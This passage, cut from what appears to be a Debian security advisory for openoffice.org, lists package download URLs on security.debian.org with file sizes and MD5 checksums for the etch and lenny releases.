    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   314710 b051e87d823c7cfaea8409a0bd45a06f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-so52_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:  9655278 333d3ae1a90a4884763c8fe3b77f18fa
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:  4853830 add6520c63a71c275afafef1ba15e233
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   293276 b10e1d9a8237d6bb52f14a8913a48bda
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   396816 1186d4563fa1708f359fdffc19537a2f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk-gnome_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   214776 fdd539f5399615fe33b84be2181227cc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   960008 f9219eb7c47380b4447f574115d0f1f2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   449008 60322f4821b9447ae44999cf744019f9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   513542 7d4709768c09b26ef5bdc43065291f37
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   252844 7b2895f6aac8e47bf16e045f1f24de9f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   804386 9a0d4a2597a01bf1fe143d7f7f3a3cb2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:  6017364 6a7b2c4a77ae1c6558342930cc78b8d2
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   365918 f2147515291a1d0e4aeb0d5f9354a363


Debian GNU/Linux 5.0 alias lenny
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3.dsc
      Size/MD5 checksum:     9116 91279eaf7efa2ecaa42d0690c85bed88
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3.diff.gz
      Size/MD5 checksum: 84240498 363f7df467c3516e7e7d2a2d5fe7bca1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg.orig.tar.gz
      Size/MD5 checksum: 278867131 152a6c5b8e1b4e042ec027cca964e443

  Architecture independent components:

    http://security.debian.org/pool/updates/main/o/openoffice.org/broffice.org_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   515978 1ff5914490ed7be84455e312c33d70d2
    http://security.debian.org/pool/updates/main/o/openoffice.org/libuno-cli-basetypes1.0-cil_1.0.10.0+OOo2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   277462 d76741baacb603e7a261c40aad907f45
    http://security.debian.org/pool/updates/main/o/openoffice.org/libuno-cli-cppuhelper1.0-cil_1.0.13.0+OOo2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   274728 b96f8dec4b22774e8d99bcfb73aeb11a
    http://security.debian.org/pool/updates/main/o/openoffice.org/libuno-cli-types1.1-cil_1.1.13.0+OOo2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   491622 182c1adac59cdb6ec48e333e8405abcc
    http://security.debian.org/pool/updates/main/o/openoffice.org/libuno-cli-ure1.0-cil_1.0.13.0+OOo2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   276188 d06e26e0ae08ce8cea7c864cca516da2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-common_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 14481818 6b59617af08011d68cfea3fe37e5dd57
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev-doc_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  6042580 ff177b8b79432936b24fd6bb3a27f6b3
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dtd-officedocument1.0_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   312036 8b8c9dacbc6421e529bfbd032f0d415c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-emailmerge_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   277856 9f06988214f45ef360d9101da5b91ceb
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-mobiledev_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   367994 5e7ea9cd2f35ad8e8e2b0784ec1765e5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-cs_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13260878 bd65d5582bdac4a15981efc8afc13a98
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-da_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13219580 a5223d1b88e694d654f32a1f48680412
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-de_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 14087478 1cc4f26f9be815518703a480dc7660e7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-dz_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 17036958 79434cea0a701336f6c82f7d242f7893
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-en-gb_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 12588882 b0dc72eed030a80b8d0e7da5d4ebdffc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-en-us_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 12632174 ccd90fb1e4c860cfc8aaa9d9731e78c6
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-es_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13573592 3b94712a60e14863494ffa4e76175340
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-et_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13363410 d3d0c1e8b0de147badaa61a7b8e3d6d1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-eu_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13328330 e4f4b5f0bc15f24a3f15288be800c80c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-fr_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13767232 9c14aab3dbc8c699525e55aad3f74098
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-gl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13343886 03042f3404ddaee165f5308c7155a152
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-hi-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 14326718 dab244f87e0be7c1dbd300e2c0b98182
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-hu_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 14107030 ec0326f5ec7f11217809c008b306240e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-it_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13441754 b4801c904519e8cf11f49c1a848da21e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-ja_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 15016796 61d56f1a54ae49d31ac0ccda3cb4eefb
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-km_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 16833368 c7de5c5a01241a923a7b3a16b3fe891b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-ko_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13442634 87dbb824dd6bbab98b6586244e657d8d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-nl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13475230 871996a446152c8b760c7a1e29f8469f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-pl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13740426 9b47beb5069b771c62a5faa42d9ee557
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-pt-br_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13497728 bd2220fb3f3894c4cc724a92269ea135
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-pt_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13455274 7378455c3bba2a85be47af88dbd3f8c5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-ru_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 14786204 989e230424effc03897d8e2f6c89277b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-sl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13363994 1d109c61fd76cb4ea4ecba070ea7aa76
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-sv_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13224614 3af29af214f457c0ad355dd0a0042724
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-zh-cn_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 13821410 822ecd272e0a0a8af5ed3ea9b0c7e59c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-zh-tw_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum: 14038332 165f06e7d8f3bbc2f58b4710d53ac06d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-java-common_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2976988 b65388b4e5108bbd0cd8abcc0e67141c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-af_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   863960 863169780b31d7e8f013e3704e9bbe7c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ar_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   897972 b8e12862309304fa2880498b9ec70f28
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-as-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   914290 e0b5515926b357ab17d58b70ee3e54df
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-be-by_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   920316 4920d683ccfa850b1e9636e29b07bb8f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-bg_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2075756 b70d9e822740775461e4fa4048e09663
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-bn_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   862132 e2c8c31428c598b12e2ebfb66d9ccdf8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-br_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   873094 76cef41af8c605a29961adcd7d9915ac
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-bs_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   872268 c500bc4aa50198ee97ca70f34c006a5c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ca_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   878340 24272fc3e9421feb4e72c53526a5d70e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-cs_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2015246 adad550913ef8b6b498a2625d2cfec55
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-cy_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   858394 7321a9bf6b82e805f2cfa6086dbfcdcc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-da_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1957304 c3e3ec9675bf1377516349cc1307941c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-de_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1949226 25c99d419a4708b4f3bea61b3457df1c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-dz_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   962666 d50851cafe65b7efe01472a5b1121e45
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-el_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   952038 cfa8a731ae1fcdd76c3cd3dbc9fe49df
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-en-gb_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2050990 f81303d01588efb9356a5ebcfd7a6501
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-en-za_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   843114 71e9ba7e27cbbb39df702b642add0cd9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-eo_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   860278 5e4d8df7ccb00404a12cd6b300c91636
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-es_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1952852 dde5359d8179034989f5ffb24ad9a892
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-et_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   860508 365ef4aca2bed5405a91d9d4e394516d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-eu_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   866430 9b8e8bb287fefaee38acae4d7195ce0f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fa_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   886268 021f2eb1843815f08f09c6c8e9e8768f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fi_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   873448 32fadb0a248f78347bc7aa6bfc991d0d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fr_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1947720 d358cbabcb97c2bd93bfb6304ee84f50
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ga_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   886894 67ac3b3d9aec5669221e5bb327b4a250
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-gl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   875674 8de166ecb877876b58efeb1e26d69e06
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-gu-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   934578 0bda6b39b1c2d1d30781d6753468a81c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-he_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   886356 eaa1a524023bfe114a437e4b19bb0c7c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-hi-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   934716 d5be95390b9605c65bcbb007e79775c0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-hr_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   881478 41a4a89567f0c82523def61d6e6e89e4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-hu_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2054796 29d24695d1e067e5a611a19cccd235e4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   273008 bd862ba472d643d2efed7bdb6617227b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-it_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1961208 a1ed330e39130ebbfcf0cb2596ebad2f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ja_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2102432 127dc9a5fd3df83e58dc4a8b4ed95e84
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ka_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   932520 e090e1e401d46195ba6fa32aab923228
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-km_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2128366 82d021ccaaf80cdf00ac903c675644ea
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ko_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1984608 db38a3e86e9e3e0280331af8f2367183
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ku_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   893376 687d7e08a8775a96da0f8b5e9663add3
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-lo_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   906332 4a6c56db9d3847206bd59b7872482e15
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-lt_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   882874 a602b93dec87b3ecaedb97c267f482f5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-lv_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   880370 5f91c715e3c1ef3d30b0bad92415aa00
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-mk_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   928638 e1c5897fa7314a2a9340c7a90b0ce4d7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ml-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   925644 66cab298b8f0a4a482b54a2668a156cc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-mr-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   919496 c7864e080e7233889b6dce43c4ba6535
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nb_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   863548 bf7b8ebb1eca9becc65bf2664e468b9f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ne_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   930674 41340926f5f33d8004b8148a35dbe100
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1991824 31df4d976f4ef108e1f5dff6e20649d7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nn_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   862536 f355035caa29bd3b295b9cab39591c64
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nr_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   889390 d31cd85c7dbaf0603ed2af16fa262293
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ns_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   886910 6fc825ad9eb686f198535818e8c6db1b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-or-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   921758 d2aaa5f6aca7131ab9483f461c27d452
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pa-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   914594 9824a4ad29016701784b9fad125743bd
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1951106 21bce0d5864c3cfd690d470bd0178b1d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pt-br_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1962744 9319c7b63d738ea966ed9a932dd7d47b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pt_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2022978 fa96660b290363825a9193a8d77279d6
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ro_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   802440 36e511b6cc189f6b4e21afdc0127d10b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ru_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1999274 46a5e1c6ae24a260735c79c3d5cb855a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-rw_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   873228 7541cbeb2cfb614249344965544cc26f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sk_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2025584 25ff4baf45c6dc18ea8569f6fadc869b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sl_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2026502 259661e49dec2df3dc64dee614e43df7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sr-cs_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   272910 b76127be4aa2e352aa2d236201ecef8c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sr_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   918014 a047163e2f110ff918333beadba45dca
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ss_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   880788 94cdf933b74dcd8e65ae4ef9042e1e4d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-st_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   882970 13212535df466f0d5dfb9c0c7487e5b4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sv_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1933612 3d26ab36839c73884a067b9aa6754c5a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ta-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   910620 8a9cfb765c216fd0383a3daad5903bbd
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-te-in_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   931382 b8c8291a50a0fd7cd436c1de1e73cb41
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-tg_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   913416 b514f51bf7a17c96304d108d3eb38009
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-th_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   925492 9083bb15864f344a61844705fe054ed9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-tn_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   834970 bf2384942511fd42e27249dafc9da14f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-tr_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  1368440 77b0f35017892612ea2a488951fd6f5e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ts_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   885888 1d593e029bbb5f448e7b51744e2e0310
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-uk_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   920334 2054496f973733a3505faa444ea1c9c5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-uz_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   879466 09c31e1f366c80e9813e722143543514
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ve_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   892730 315c9d0304000ead7ede05786e65377c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-vi_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   879160 07fd9552106fc4e3bea97a7c5182162e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-xh_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   904040 812773885e830add0bd1800a5e0b1d7c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-za_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   272998 43bb12f40243f7491c539300e756df1b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-zh-cn_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2067386 87d8bef3376f5c0a3c10f99ba1a9ae6f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-zh-tw_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2060984 284da6d5115891024436ff9c7ab863df
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-zu_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   892618 a9000ca9fa011ad1598003ec2a7ffd6f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-api-tests_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2271162 9bdda340ecdb633636e2d370c1db0c77
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder_1.0.2+OOo2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   477720 32f54d7cf92df8d65858b90df384137e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-style-andromeda_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  3457646 82fa2d1617be35d02be692a162bb07ef
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-style-crystal_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  4129516 1ca10f8ea6150d2aaf074d1413143d10
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-style-hicontrast_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  2900520 30ff2aff71cc2411d7d55859f4918e35
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-style-industrial_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  3713526 ef69f8722d2bbbdc8e9a61e58c9fea41
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-style-tango_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:  3698674 4de4cc3851cfec178e2e570fa53c4330
    http://security.debian.org/pool/updates/main/o/openoffice.org/ttf-opensymbol_2.4.1+dfsg-1+lenny3_all.deb
      Size/MD5 checksum:   343330 8ab11c8702539e3c6477cdc45d471013

  AMD64 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/cli-uno-bridge_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   301554 5b401e520fd63367a84e254ba12ea8de
    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   137552 46baf42ecea5f499cae8fc78f349101f
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_amd64.deb
      Size/MD5 checksum:   309024 1ed8498995b72acf4a8add3edc8652b3
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_amd64.deb
